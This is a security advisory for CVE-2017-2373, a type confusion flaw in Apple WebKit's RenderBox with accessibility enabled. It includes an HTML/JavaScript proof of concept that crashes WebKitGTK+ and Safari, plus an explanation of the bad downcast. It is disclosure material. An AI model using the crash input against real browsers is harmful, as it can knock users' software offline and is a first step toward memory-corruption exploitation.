Apple WebKit suffers from a type confusion vulnerability in RenderBox with accessibility enabled.
aecb62d731142db1516e19c7ad3ff31de9aea06eb36764a6f5dabffe85b7646b Apple WebKit: Type confusion in RenderBox with accessibility enabled
CVE-2017-2373
There is a type confusion vulnerability that affects WebKit with accessibility enabled (WebCore::AXObjectCache::gAccessibilityEnabed).
PoC:
===============================
<script>
function boom() {
m.append("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
m.setAttribute("aria-labeledby", "t");
d.open = false;
}
</script>
<body onload=boom()>
<title id="t">foo</title>
<menu id="m">
<details id="d" open="true">
===============================
Bad cast happens in RenderBox.h in
inline RenderBox* RenderBox::firstChildBox() const
{
return downcast<RenderBox>(firstChild());
}
The function expects that the first child is going to be of type RenderBox, but in the PoC it is actually of type RenderText.
This was tested on WebKitGTK+ 2.14.2 (latest stable version at this time). The PoC also crashes Safari on Mac, but only if the PoC is run while the Web Inspector / Error Console are enabled. It appears this behavior is caused by the fact that opening inspector enables accessibility features (via a call to AXObjectCache::enableAccessibility), while accessibility features are enabled in WebKitGTK+ by default through WebPageAccessibilityObjectAtk.
ASAN log follows.
